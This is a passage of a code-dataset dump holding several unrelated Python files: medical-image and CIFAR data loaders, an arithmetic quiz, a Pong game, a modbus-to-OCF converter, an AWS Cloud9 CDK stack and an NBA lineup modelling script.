self.selecte_data.to_csv(\"C:/Users/hb/Desktop/data/CheXpert-v1.0-small/selected_data.csv\")\n self.class_num = 12\n \n \n def get_ds_cnt(self):\n total_ds_cnt = [0] * self.class_num\n for i in range(len(self.selecte_data)):\n row = self.selecte_data.iloc[i, 2:]\n for j in range(len(row)):\n total_ds_cnt[j] += int(row[j])\n return total_ds_cnt\n\n def __getitem__(self, index):\n\n row = self.selecte_data.iloc[index, :]\n # img = cv2.imread(self.dir + row['Path'])\n img = pilimg.open(self.dir + row['Path'])\n label = torch.FloatTensor(row[2:])\n gray_img = self.transform(img)\n return torch.cat([gray_img,gray_img,gray_img], dim = 0), label\n\n def __len__(self):\n return len(self.selecte_data)\n\nclass ChexpertTestDataset(Dataset):\n\n def __init__(self, transform = None):\n \n csv_path = \"C:/Users/hb/Desktop/data/CheXpert-v1.0-small/valid.csv\"\n self.dir = \"C:/Users/hb/Desktop/data/\"\n self.transform = transform\n\n self.all_data = pd.read_csv(csv_path)\n self.all_data = self.all_data.drop(columns=['Sex','Age','AP/PA'])\n self.all_data = self.all_data.drop(columns=['Support Devices', 'No Finding'])\n # ,'Pleural Effusion','Pleural Other'\n self.all_data = self.all_data.fillna(0)\n self.all_data = self.all_data.replace(-1,1)\n \n self.frontal_data = self.all_data[self.all_data['Frontal/Lateral'] == 'Frontal']\n self.selecte_data = self.all_data.iloc[:, :]\n # self.selecte_data.to_csv(\"C:/Users/hb/Desktop/data/CheXpert-v1.0-small/selected_data.csv\")\n self.class_num = 12\n\n def __getitem__(self, index):\n\n row = self.selecte_data.iloc[index, :]\n img = pilimg.open(self.dir + row['Path'])\n label = torch.FloatTensor(row[2:])\n gray_img = self.transform(img)\n\n return torch.cat([gray_img,gray_img,gray_img], dim = 0), label\n\n def get_ds_cnt(self):\n total_ds_cnt = [0] * self.class_num\n for i in range(len(self.selecte_data)):\n row = self.selecte_data.iloc[i, 2:]\n for j in range(len(row)):\n total_ds_cnt[j] += int(row[j])\n return total_ds_cnt\n\n def __len__(self):\n return len(self.selecte_data)\n\ndef check_version(cifar_version):\n if cifar_version not in ['10', '100', '20']:\n raise ValueError('cifar version must be one of 10, 20, 100.')\n\ndef img_num(cifar_version):\n check_version(cifar_version)\n dt = {'10': 5000, '100': 500, '20': 2500}\n return dt[cifar_version]\n\ndef get_img_num_per_cls(cifar_version, imb_factor=0.5):\n \"\"\"\n Get a list of image numbers for each class, given cifar version\n Num of imgs follows emponential distribution\n img max: 5000 / 500 * e^(-lambda * 0);\n img min: 5000 / 500 * e^(-lambda * int(cifar_version - 1))\n exp(-lambda * (int(cifar_version) - 1)) = img_max / img_min\n args:\n cifar_version: str, '10', '100', '20'\n imb_factor: float, imbalance factor: img_min/img_max,\n None if geting default cifar data number\n output:\n img_num_per_cls: a list of number of images per class\n \"\"\"\n cls_num = int(cifar_version)\n img_max = img_num(cifar_version)\n if imb_factor is None:\n return [img_max] * cls_num\n img_num_per_cls = []\n for cls_idx in range(cls_num):\n num = img_max * (imb_factor**(cls_idx / (cls_num - 1.0)))\n img_num_per_cls.append(int(num))\n return img_num_per_cls\n\ndef _data_transforms_cifar(datadir):\n if \"cifar100\" in datadir:\n CIFAR_MEAN = [0.5071, 0.4865, 0.4409]\n CIFAR_STD = [0.2673, 0.2564, 0.2762]\n else:\n CIFAR_MEAN = [0.49139968, 0.48215827, 0.44653124]\n CIFAR_STD = [0.24703233, 0.24348505, 0.26158768]\n\n train_transform = transforms.Compose([\n transforms.ToPILImage(),\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(CIFAR_MEAN, CIFAR_STD),\n ])\n\n valid_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(CIFAR_MEAN, CIFAR_STD),\n ])\n\n return train_transform, valid_transform\n\nclass CIFAR_truncated(data.Dataset):\n\n def __init__(self, root, dataidxs=None, train=True, transform=None, target_transform=None, download=False):\n\n self.root = root\n self.dataidxs = dataidxs\n self.train = train\n self.transform = transform\n self.target_transform = target_transform\n self.download = download\n\n self.data, self.target = self.__build_truncated_dataset__()\n\n def __build_truncated_dataset__(self):\n print(\"download = \" + str(self.download))\n if \"cifar100\" in self.root:\n cifar_dataobj = CIFAR100(self.root, self.train, self.transform, self.target_transform, self.download)\n else:\n cifar_dataobj = CIFAR10(self.root, self.train, self.transform, self.target_transform, self.download)\n\n\n if self.train:\n # print(\"train member of the class: {}\".format(self.train))\n # data = cifar_dataobj.train_data\n data = cifar_dataobj.data\n target = np.array(cifar_dataobj.targets)\n else:\n data = cifar_dataobj.data\n target = np.array(cifar_dataobj.targets)\n\n if self.dataidxs is not None:\n print(self.dataidxs)\n data = data[self.dataidxs]\n target = target[self.dataidxs]\n\n return data, target\n\n def truncate_channel(self, index):\n for i in range(index.shape[0]):\n gs_index = index[i]\n self.data[gs_index, :, :, 1] = 0.0\n self.data[gs_index, :, :, 2] = 0.0\n\n def __getitem__(self, index):\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: (image, target) where target is index of the target class.\n \"\"\"\n img, target = self.data[index], self.target[index]\n\n if self.transform is not None:\n img = self.transform(img)\n\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return img, target\n\n def __len__(self):\n return len(self.data)\n\ndef load_data(datadir):\n\n train_transform, test_transform = _data_transforms_cifar(datadir)\n dl_obj = CIFAR_truncated\n train_ds = dl_obj(datadir, train=True, download=True, transform=train_transform)\n test_ds = dl_obj(datadir, train=False, download=True, transform=test_transform)\n\n y_train, y_test = train_ds.target, test_ds.target\n\n return (y_train, y_test)\n\ndef get_dataloader(datadir, train_bs, test_bs, dataidxs=None):\n\n ################datadir is the key to discern the dataset#######################\n train_transform, test_transform = _data_transforms_cifar(datadir)\n dl_obj = CIFAR_truncated\n workers=0\n persist=False\n\n CIFAR10Train = dl_obj(datadir, dataidxs=dataidxs, train=True, transform=train_transform, download=True)\n test_ds = dl_obj(datadir, train=False, transform=test_transform, download=True)\n \n train_percentage = 0.8\n train_ds ,valid_ds= torch.utils.data.random_split(CIFAR10Train, [int(len(CIFAR10Train)*train_percentage), len(CIFAR10Train)-int(len(CIFAR10Train)*train_percentage)])\n \n train_dl = data.DataLoader(dataset=train_ds, batch_size=train_bs, shuffle=True, drop_last=True, num_workers=workers, persistent_workers=persist)\n valid_dl = data.DataLoader(dataset=valid_ds, batch_size=train_bs, shuffle=True, drop_last=True, num_workers=workers, persistent_workers=persist)\n test_dl = data.DataLoader(dataset=test_ds, batch_size=test_bs, shuffle=False, drop_last=True, num_workers=workers, persistent_workers=persist)\n\n return train_dl, valid_dl, test_dl\n\ndef get_cifar10(data_dir, batch_size):\n \n long_tail = get_img_num_per_cls('10')\n y_train, y_test = load_data(data_dir)\n idxs = np.array([])\n\n for k in range(10): # partition for the class k\n idx_k = np.where(y_train == k)[0]\n np.random.shuffle(idx_k)\n idx_k = idx_k[:long_tail[k]]\n idxs = np.concatenate((idxs,np.array(idx_k)))\n\n train_data, valid_data , test_data = get_dataloader(data_dir, batch_size, batch_size, dataidxs=idxs.astype(int))\n\n return train_data, valid_data, test_data\n\n# class CIFAR10TrainDataset(Dataset):\n\n# def __init__(self):\n# path = 'C:/Users/hb/Desktop/data/CIFAR10_Client_random/train.csv'\n# self.data = pd.read_csv(path)\n\n# self.transform = transforms.Compose([transforms.ToTensor(),\n# transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n# ])\n\n# def __getitem__(self, index):\n \n# row = self.data.iloc[index, :]\n# img = pilimg.open(row['path'])\n# label = torch.FloatTensor(row[2:])\n# img = self.transform(img)\n\n# return img, label\n\n# def __len__(self):\n# return len(self.data)\n\n# class CIFAR10TestDataset(Dataset):\n\n# def __init__(self):\n# path = 'C:/Users/hb/Desktop/data/CIFAR10_Client_random/test.csv'\n# self.data = pd.read_csv(path)\n\n# self.transform = transforms.Compose([transforms.ToTensor(),\n# transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n# ])\n\n# def __getitem__(self, index):\n \n# row = self.data.iloc[index, :]\n# img = pilimg.open(row['path'])\n# label = torch.FloatTensor(row[2:])\n# img = self.transform(img)\n\n# return img, label\n\n# def __len__(self):\n# return len(self.data)","repo_name":"hphp777/TF_to_torch","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":29643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27254247259","text":"import random\nimport time\n\n# (1)\n# cnt = 0\n# qnum = int(input(\"몇 문제 푸실래요? \"))\n# input(\"엔터를 눌러서 문제 풀이를 시작하세요.\") \n# start = time.time() \n# for i in range(0, qnum):\n# randint1 = random.randint(1,50) # 1~50 사이 임의의 수 \n# randint2 = random.randint(1,50)\n# print(\"{} + {} = \".format(randint1,randint2))\n# youranswer = int(input())\n# if youranswer == randint1 + randint2:\n# print(\"정답\")\n# cnt+=1 # cnt = cnt + 1\n# else:\n# print(\"오답\")\n# end = time.time()\n# print(\"정답 수 / 문제 수 : {} / {}\".format(cnt,i+1))\n# ratio = cnt/(i+1)\n# print(\"정답률 : %0.2f%%\" % (ratio*100))\n# et = end - start\n# print(\"실제 시간 : \", et, \"초\")\n# avgsolvetime = (i+1)*2\n# print(\"차이 : \", abs(et-avgsolvetime), \"초\")\n\n# (2)\nprint(\"---------------------\")\nprint(\"----사칙연산 게임----\")\nprint(\"---------------------\")\n\noperator = [\"+\", \"-\", \"*\", \"/\"]\nop = random.choice(operator)\nprint(\"무작위로 선택된 사칙연산은 '%s'입니다.\" %op) \n#print(random.choice(operator)) # 하나 뽑아내는 함수(중복 뽑기 가능)\n#print(random.sample(operator)) # 하나 뽑아내는 함수(중복 뽑기 불가능)\n\ncnt = 0\nqnum = int(input(\"몇 문제 푸실래요? \")) \nfor i in range(0, qnum):\n a = random.randint(1,50) # 1~50 사이 임의의 수 \n b = random.randint(1,50)\n quiz = str(a) + op + str(b)\n print(quiz, '=')\n youranswer = int(input())\n if int(eval(quiz)) == youranswer: # eval() : 문자열 명령어를 실행시켜 주는 역할\n print(\"정답\")\n cnt+=1 # cnt = cnt + 1\n else:\n print(\"오답\")\nprint(\"정답 수 / 문제 수 : {} / {}\".format(cnt,i+1))\nratio = cnt/(i+1)\nprint(\"정답률 : %0.2f%%\" % (ratio*100))","repo_name":"10qpal/kfq_python","sub_path":"01_test/randomsum.py","file_name":"randomsum.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19161075536","text":"### SRC - Great code\nimport pygame\n\n# -- Funtions\ndef write_hiscore(name, score):\n Rforder = open(\"HighScore.txt\", \"rt\")\n Rscore = Rfolder.read()\n Wfolder = open(\"HighScore.txt\", \"wt\")\n Wfolder.write(name)\n Wfolder.write(\":\")\n Wfolder.write(score)\n Wfolder.close()\n#end procedure\n# -- Global Constants\n\n# -- Colours\nBLACK = (0,0,0)\nWHITE = (255,255,255)\nBLUE = (50,50,255)\nYELLOW = (255,255,0)\nRED = (255,0,0)\n\n# -- Initialise PyGame\npygame.init()\n\n# -- Manages how fast screen refreshes\n\nclock = pygame.time.Clock()\n\n\n# -- Blank Screen\nsize = (640,480)\nscreen = pygame.display.set_mode(size)\n\n# -- Title of new window/screen\npygame.display.set_caption(\"Pong\")\n\n\n#//displaying text on the screen\nfont = pygame.font.Font(\"freesansbold.ttf\",32)\ntext = font.render(\"Game Over\", True, RED, WHITE)\ntextRect = text.get_rect()\ntextRect.center = (320, 240)\n\n\n\n\ngame_over = False\ngame_end = 0\nblock_x = 4\nblock_y = size[1]//2\n\nspeed = 5\ndirection_x = 0\ndirection_y = 0\n\ncpu_speed = 0\n\n\n\ncpu_block_x = 640-(4+8)\ncpu_block_y = size[1]//2\n\ncirc_x = 320\ncirc_y = 240\n\nCdir_x = 4\nCdir_y = 4\n\nball_speed = 2\n\nhp_left= 3\n\nscore_1=0 #//score of PLAYER 1\n### -- Game Loop\nwhile not game_over:\n # -- User input and controls\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_over = True\n game_end = 1\n \n ### -- Keys are also game logic -- ###\n \n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n direction_y = -1\n elif event.key == pygame.K_DOWN:\n direction_y = 1\n \n elif event.type == pygame.KEYUP:\n direction_x, direction_y = 0, 0\n \n #End If\n #End If\n #Next event\n\n \n # -- Game logic goes after this comment\n \n if cpu_speed>0 and cpu_speed<6:\n \n #//Cpu paddle movement and calculations (+20 for centering the paddle) \n if cpu_block_y+20 > circ_y:\n cpu_block_y = cpu_block_y + cpu_speed *-1\n elif cpu_block_y+20 < circ_y:\n cpu_block_y = cpu_block_y + cpu_speed * 1\n #end if \n \n if circ_x == cpu_block_x-8 and (circ_y<=cpu_block_y+40 and circ_y>=cpu_block_y):\n Cdir_x = Cdir_x * -1\n circ_x = circ_x + (Cdir_x*ball_speed)\n \n if circ_x ==640-8:\n score_1 +=1\n #end if\n\n\n \n #//PLAYER 1 paddle movement and calculations\n if block_y <0:\n block_y = 0\n elif block_y > 440:\n block_y = 440\n else:\n block_y = block_y + direction_y * speed\n #end if\n \n if circ_x == 0 +8:\n hp_left = hp_left - 1\n #end if\n \n if circ_x == block_x+8+8 and (circ_y<=block_y+40 and circ_y>=block_y):\n Cdir_x = Cdir_x * -1\n circ_x = circ_x + (Cdir_x*ball_speed)\n \n \n\n \n elif circ_x == 0 + 8 or circ_x==640 - 8: \n circ_x = 320 #//variables reset so that game restarts\n circ_y = 240\n Cdir_x = Cdir_x*-1\n Cdir_y = Cdir_y*-1\n \n \n \n if hp_left == 0:\n game_over = True #//ends game after losing 3 times\n screen.blit(text, textRect)\n pygame.display.update()\n print(\"Score of PLAYER 1:\",score_1)\n enter_name = input(\"Please enter your name for the scoreboard\")\n if enter_name!=\" \":\n score_1 = str(score_1)\n write_hiscore(enter_name, score_1)\n pygame.quit()\n #end if\n #end if \n else:\n if circ_x != 0+8 and circ_x != 640-8:\n circ_x = circ_x + Cdir_x\n else:\n Cdir_x = Cdir_x * -1\n circ_x = circ_x + (Cdir_x*2)\n #end if\n if circ_y != 0 + 8 and circ_y != 480-8:\n circ_y = circ_y + Cdir_y\n else:\n Cdir_y = Cdir_y * -1\n circ_y = circ_y+ (Cdir_y*2)\n #end if\n #end if\n else:\n cpu_speed= int(input(\"Please enter the CPU speed you want (Higher speed, Higher difficulty)\"))\n #end if\n \n # -- Screen background is BLACK\n screen.fill (BLACK)\n\n # -- Draw here\n pygame.draw.rect(screen, WHITE, (block_x, block_y, 8, 40))\n pygame.draw.rect(screen, BLUE, (cpu_block_x, cpu_block_y, 8, 40))\n pygame.draw.circle(screen, RED, (circ_x, circ_y), 8, 0)\n\n\n \n# -- flip display to reveal new position of objects\n pygame.display.flip()\n\n # - The clock ticks over\n clock.tick(60)\n\n#End While - End of game loop\nif game_over ==True and game_end == 1:\n pygame.quit()\n#end if\n \nwhile game_over:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n #end if\n #next event\n#end while\n\n","repo_name":"KUP9752/PekgozKU-Yr12-Computer-Science","sub_path":"Work/PyGame/PONG GAME/PONG .py","file_name":"PONG .py","file_ext":"py","file_size_in_byte":5046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37802767463","text":"import argparse\nimport json\nimport os\nimport shutil\nimport sys\n\nOCF_LIKE_DEFINITION = {\n 'title': None,\n 'definitions': None,\n 'required': [],\n}\n\nOCF_LIKE_DEFINITION_RESOURCE = {\n 'rt': None,\n 'description': None,\n 'properties': []\n}\n\nOCF_LIKE_DEFINITION_PROPERTY = {\n 'name': None,\n 'type': None,\n 'description': None,\n 'readOnly': False,\n 'ext': []\n}\n\nOCF_LIKE_DEFINITION_EXT = {\n 'ext_n': None,\n 'ext_v': None\n}\n\n\ndef get_resource_type_from_modbus_type(modbus_meta_cfg_path):\n \"\"\"\n to load modbus_meta.cfg files under modbus_meta_cfg_path\n and transfer modbus_meta.cfg content to ocf like resource\n type definitions and merge them together and remove\n duplicated definitions\n :param modbus_meta_cfg_path:\n :return:\n \"\"\"\n if not os.path.exists(modbus_meta_cfg_path):\n print(modbus_meta_cfg_path + \" does not exist\")\n return None\n\n modbus_meta_cfg_files = [root + '/' + filename\n for (root, _, filenames) in os.walk(modbus_meta_cfg_path)\n for filename in filenames]\n modbus_meta_cfg_files = [os.path.normpath(file_path)\n for file_path in modbus_meta_cfg_files\n if file_path.endswith('.cfg')]\n\n tmp = [parse_modbus_type_file(cfg_file)\n for cfg_file in modbus_meta_cfg_files]\n ocf_like_rt_def = {key: i[key] for i in tmp for key in i.keys()}\n return ocf_like_rt_def\n\n\ndef parse_modbus_type_file(cfg_file):\n \"\"\"\n to load modbus_meta.cfg content as JSON and parse them\n :param cfg_file:\n :return:\n \"\"\"\n with open(cfg_file, 'r') as f:\n info = json.load(f)\n return parse_resource_type_from_modbus_type(info)\n\n\ndef parse_resource_type_from_modbus_type(json):\n \"\"\"\n to transfer json objects from modbus_meta.cfg into\n ocf like resource type definitions\n :param json:\n :return:\n \"\"\"\n rts_info = {}\n\n for res in json['links']:\n # rt is a list here\n for res_t in res['rt']:\n ocf_like_rt = OCF_LIKE_DEFINITION.copy()\n cur_rt_item = OCF_LIKE_DEFINITION_RESOURCE.copy()\n ocf_like_rt['definitions'] = cur_rt_item\n ps_list = []\n required_list = []\n\n cur_rt_item['description'] = res_t\n cur_rt_item['rt'] = res_t\n\n for prop in res['p']:\n if 'n' not in prop:\n continue\n\n if prop.get('m', False):\n required_list += prop['n']\n\n if 'inst' in prop:\n for i in range(int(prop['inst'])):\n prop_name = \"{}/{}\".format(prop.get('n'), i)\n ps_list.append(generate_property_from_modbus_def(\n prop_name,\n prop.get('vt', 's'),\n prop.get('if', False)))\n else:\n ps_list.append(generate_property_from_modbus_def(\n prop.get('n'),\n prop.get('vt', 's'),\n prop.get('if', False)))\n else:\n cur_rt_item['properties'] = ps_list\n\n rts_info[res_t] = ocf_like_rt\n\n return rts_info\n\n\ndef generate_property_from_modbus_def(prop_name, prop_type='i',\n prop_if='r'):\n \"\"\"\n to transfer 'p' fields of modbus_meta.cfg into 'properties'\n fileds of ocf like resource type definitions\n :param prop_name:\n :param prop_type:\n :param prop_if:\n :return:\n \"\"\"\n cur_ps_item = OCF_LIKE_DEFINITION_PROPERTY.copy()\n\n cur_ps_item['name'] = prop_name\n cur_ps_item['description'] = prop_name\n\n if prop_if is 'r':\n cur_ps_item['readOnly'] = True\n else:\n cur_ps_item['readOnly'] = False\n\n if prop_type is 's':\n cur_ps_item['type'] = 'string'\n else:\n cur_ps_item['type'] = 'int'\n\n return cur_ps_item\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\n \"it is used to generate a ocf like resource type definition\" \\\n \"from modbus_meta.cfg\")\n\n parser.add_argument('--modbus_meta_dir', dest='modbus_meta_dir',\n action='store',\n default='..',\n help=\"a path of modbus type files, like ../modbus-type\")\n\n parser.add_argument('--out', dest='out_dir',\n action='store',\n default='../out',\n help=\"a path of directory to save result. by default, \" \\\n \"it is ../out\")\n\n args = parser.parse_args()\n if args.modbus_meta_dir is None:\n sys.exit()\n\n rt_collection = get_resource_type_from_modbus_type(args.modbus_meta_dir)\n if rt_collection is None or len(rt_collection) == 0:\n print(\"get an empty rt collection from \" + args.modbus_meta_dir)\n sys.exit()\n\n if not os.path.exists(args.out_dir):\n os.mkdir(args.out_dir)\n else:\n shutil.rmtree(args.out_dir)\n os.mkdir(args.out_dir)\n\n for rt in rt_collection:\n output = '{}/{}.json'.format(args.out_dir, rt)\n with open(output, 'w') as f:\n json.dump(rt_collection[rt], f, indent=2)\n\n sys.exit()\n","repo_name":"Leoniris/idrm-meta-lib","sub_path":"meta/tool/gen_ocf_rt_from_modbus_meta.py","file_name":"gen_ocf_rt_from_modbus_meta.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"28196984664","text":"import aws_cdk as cdk\nfrom aws_cdk import aws_cloud9 as cloud9\nfrom aws_cdk import aws_ec2 as ec2\nfrom aws_cdk import aws_ssm as ssm\n\nfrom constructs import Construct\nfrom aws_cdk import Stack\nfrom stacks.helper_functions import get_user_arn_from_iam, get_user_arn_from_ssm\nfrom stacks.helper_functions import get_user_arn_from_ssm\n\n\nclass Cloud9EnvStack(Stack):\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n\n # Calls a helper function to get the correct ARN for Cloud9 ownership\n current_arn = get_user_arn_from_ssm(self)\n print(current_arn)\n \n # Create our VPC to host our EC2 instance\n # Default Subnet Configurations here will give extra uneeded subnets.\n vpc = ec2.Vpc(\n self,\n \"VPC\",\n )\n \n # Create a Cloud9 instance that ties to our SSO-assumed role (taken from Parameter Store)\n self.dev_env = cloud9.CfnEnvironmentEC2(\n self,\n \"DevEnvironment\",\n automatic_stop_time_minutes=30,\n connection_type='CONNECT_SSM',\n description=\"Development Environment\",\n image_id=\"amazonlinux-2-x86_64\",\n instance_type=ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.MEDIUM).to_string(),\n name=\"Dev Environment\",\n owner_arn=current_arn,\n subnet_id=vpc.select_subnets(subnet_type=ec2.SubnetType.PRIVATE_WITH_EGRESS).subnet_ids[0]\n )\n","repo_name":"pmkuny/aws-env-development","sub_path":"stacks/cloud9/cloud9.py","file_name":"cloud9.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38807635859","text":"import functools\nimport logging\nimport logging.config\nimport multiprocessing as mp\nimport os\n\nimport dask\nfrom dask import delayed\nimport dotenv\nimport numpy as np\nimport pandas as pd\nfrom sklearn import (decomposition, ensemble, linear_model, manifold,\n model_selection)\n\nfrom sportsref import nba\n\nfrom src import helpers\n\nenv_path = dotenv.find_dotenv()\ndotenv.load_dotenv(env_path)\nPROJ_DIR = os.environ['PROJ_DIR']\nn_jobs = int(os.environ.get('SLURM_NTASKS', mp.cpu_count()-1))\n\nseasons = range(2012, 2015)\n\ndr_ests = {\n 'pca': decomposition.PCA(n_components=5),\n 'lle': manifold.LocallyLinearEmbedding(n_components=5),\n 'isomap': manifold.Isomap(n_components=5)\n}\ndr_param_grids = {\n 'pca': { },\n 'lle': {\n 'n_neighbors': [5, 50],\n },\n 'isomap': {\n 'n_neighbors': [5, 50],\n }\n}\nreg_ests = {\n 'lin_reg': linear_model.LinearRegression(n_jobs=n_jobs),\n 'rf': ensemble.RandomForestRegressor(n_jobs=n_jobs, n_estimators=100),\n 'gb': ensemble.GradientBoostingRegressor(n_estimators=100,\n learning_rate=0.1)\n}\nreg_param_grids = {\n 'lin_reg': {},\n 'rf': {\n 'max_depth': [3, None]\n },\n 'gb': {\n 'max_depth': [3, 4],\n }\n}\n\n\ndef get_logger():\n logging.config.fileConfig(\n os.path.join(PROJ_DIR, 'logging_config.ini')\n )\n logger = logging.getLogger()\n return logger\n\n\ndef _design_matrix_one_season(args):\n logger = get_logger()\n logger.info('starting _design_matrix_one_season')\n sub_lineups, sub_profs, sub_rapm, sub_hm_off, sub_y = args\n sub_odrapm = pd.DataFrame(sub_rapm)\n sub_rapm = sub_rapm.sum(axis=1)\n hm_lineups = sub_lineups.ix[:, nba.pbp.HM_LINEUP_COLS]\n aw_lineups = sub_lineups.ix[:, nba.pbp.AW_LINEUP_COLS]\n rp_val = sub_rapm.loc['RP']\n hm_rapm = hm_lineups.applymap(lambda p: sub_rapm.get(p, rp_val))\n aw_rapm = aw_lineups.applymap(lambda p: sub_rapm.get(p, rp_val))\n hm_rapm_idxs = np.argsort(-hm_rapm, axis=1)\n aw_rapm_idxs = np.argsort(-aw_rapm, axis=1)\n hm_lineups = hm_lineups.apply(\n lambda r: r[hm_rapm_idxs.loc[r.name]].values, axis=1\n )\n aw_lineups = aw_lineups.apply(\n lambda r: r[aw_rapm_idxs.loc[r.name]].values, axis=1\n )\n hm_off_df = pd.concat((hm_lineups[sub_hm_off], aw_lineups[sub_hm_off]),\n axis=1)\n aw_off_df = pd.concat((aw_lineups[~sub_hm_off], hm_lineups[~sub_hm_off]),\n axis=1)\n cols = ['{}_player{}'.format(tm, i)\n for tm in ['off', 'def'] for i in range(1, 6)]\n hm_off_df.columns = cols\n aw_off_df.columns = cols\n merged_df = pd.concat((hm_off_df, aw_off_df))\n n_hm_off = len(hm_off_df)\n merged_df['hm_off'] = [i < n_hm_off for i in range(len(merged_df))]\n for col in cols:\n sub_profs.columns = [\n '{}_{}'.format(i, col) for i in range(sub_profs.shape[1])\n ]\n if col.startswith('off'):\n orapm_merge = sub_odrapm[['orapm']]\n merged_df = pd.merge(\n merged_df, orapm_merge,\n how='left', left_on=col, right_index=True\n ).fillna(orapm_merge.loc['RP'])\n else:\n drapm_merge = sub_odrapm[['drapm']]\n merged_df = pd.merge(\n merged_df, drapm_merge,\n how='left', left_on=col, right_index=True\n ).fillna(drapm_merge.loc['RP'])\n\n orapm_col = 'orapm_{}'.format(col)\n drapm_col = 'drapm_{}'.format(col)\n merged_df.rename(\n columns={'orapm': orapm_col, 'drapm': drapm_col}, inplace=True\n )\n\n merged_df = pd.merge(\n merged_df, sub_profs, how='left', left_on=col, right_index=True\n ).fillna(sub_profs.loc['RP'])\n\n merged_df.drop(cols, axis=1, inplace=True)\n new_sub_y = np.concatenate((sub_y[sub_hm_off], sub_y[~sub_hm_off]))\n merged_df['y'] = new_sub_y\n return merged_df\n\n\ndef create_design_matrix(lineups, profiles, seasons, rapm, hm_off, y):\n prof_cols = profiles.columns\n seasons_uniq = np.unique(seasons)\n pool = mp.Pool(min(4, n_jobs))\n args_to_eval = [\n (lineups[seasons == s], profiles.xs(s, level=1), rapm.xs(s, level=1),\n hm_off[seasons == s], y[seasons == s])\n for s in seasons_uniq\n ]\n # df = pd.concat(pool.map(_design_matrix_one_season, args_to_eval))\n df = pd.concat(map(_design_matrix_one_season, args_to_eval))\n y = df.pop('y')\n return df, y\n\n\nlogger = get_logger()\nlogger.info('n_jobs: {}'.format(n_jobs))\n\n# load and combine all player-season profiles and standardize within season\nlogger.info('loading profiles...')\nprofile_dfs = [\n helpers.get_profiles_data(season) for season in seasons\n]\nprofile_df = pd.concat(profile_dfs)\nrapm = profile_df.loc[:, ['orapm', 'drapm']]\nprofiles_scaled = (\n profile_df.groupby(level=1).transform(lambda x: (x - x.mean()) / x.std())\n)\ndel profile_df, profile_dfs\n\n# load and process the play-by-play data for regression\nlogger.info('loading second half PBP...')\nall_second_half = nba.pbp.clean_multigame_features(\n pd.concat([\n helpers.split_pbp_data(helpers.get_pbp_data(season))[1]\n for season in seasons\n ])\n)\nposs_grouped = all_second_half.groupby('poss_id')\nposs_end = poss_grouped.tail(1)\ny = poss_grouped.pts.sum().values\nposs_hm_off = poss_end.loc[:, 'hm_off'].values\nlineups = poss_end.loc[:, nba.pbp.ALL_LINEUP_COLS]\nposs_seasons = poss_end.loc[:, 'season']\ndel all_second_half, poss_grouped, poss_end\n\n\nlogger.info('starting CV...')\nresults = []\nfor dr_name, dr_est in dr_ests.items():\n logging.info('starting DR: {}'.format(dr_name))\n dr_param_grid = model_selection.ParameterGrid(dr_param_grids[dr_name])\n for dr_params in dr_param_grid:\n dr_est.set_params(**dr_params)\n dr_est.fit(profiles_scaled)\n latent_profs = pd.DataFrame(\n dr_est.transform(profiles_scaled), index=profiles_scaled.index\n )\n logging.info('starting create_design_matrix')\n X, y = create_design_matrix(\n lineups, latent_profs, poss_seasons, rapm, poss_hm_off, y\n )\n logging.info('done with create_design_matrix for train')\n logging.info('len(X) == {}'.format(len(X)))\n for reg_name, reg_est in reg_ests.items():\n logging.info('starting regression: {}'.format(reg_name))\n reg_params_grid = model_selection.ParameterGrid(\n reg_param_grids[reg_name]\n )\n for reg_params in reg_params_grid:\n reg_est.set_params(**reg_params)\n logger.info('starting training for one param grid point...')\n cv_score = np.mean(model_selection.cross_val_score(\n reg_est, X, y, cv=3, groups=poss_seasons,\n scoring='neg_mean_squared_error', n_jobs=1\n ))\n results_row = {\n 'dim_red': dr_name,\n 'regress': reg_name,\n 'score': cv_score\n }\n results_row.update(dr_params)\n results_row.update(reg_params)\n logging.info(results_row)\n results.append(results_row)\n\nres_df = pd.DataFrame(results)\nlogging.info(res_df.sort_values('score').tail(5))\nres_df.to_csv('data/models/selection_results.csv', index_label=False)\n","repo_name":"mdgoldberg/nba_lineup_evaluation","sub_path":"src/models/select_model.py","file_name":"select_model.py","file_ext":"py","file_size_in_byte":7362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31559199457","text":"from imswitch.imcommon.model import initLogger\nimport imswitch.imcontrol.model.interfaces.grbldriver as grbldriver\n\n\nclass GRBLManager:\n \"\"\" A general-purpose RS232 manager that together with a general-purpose\n RS232Driver interface can handle an arbitrary RS232 communication channel,\n with all the standard serial communication protocol parameters as defined\n in the hardware control configuration.\n\n Manager properties:\n\n - ``port``\n - ``encoding``\n - ``recv_termination``\n - ``send_termination``\n - ``baudrate``\n - ``bytesize``\n - ``parity``\n - ``stopbits``\n - ``rtscts``\n - ``dsrdtr``\n - ``xonxoff``\n \"\"\"\n\n def __init__(self, rs232Info, name, **_lowLevelManagers):\n self.__logger = initLogger(self, instanceName=name)\n\n self._settings = rs232Info.managerProperties\n self._name = name\n self._port = rs232Info.managerProperties['port']\n try:\n self.is_home = 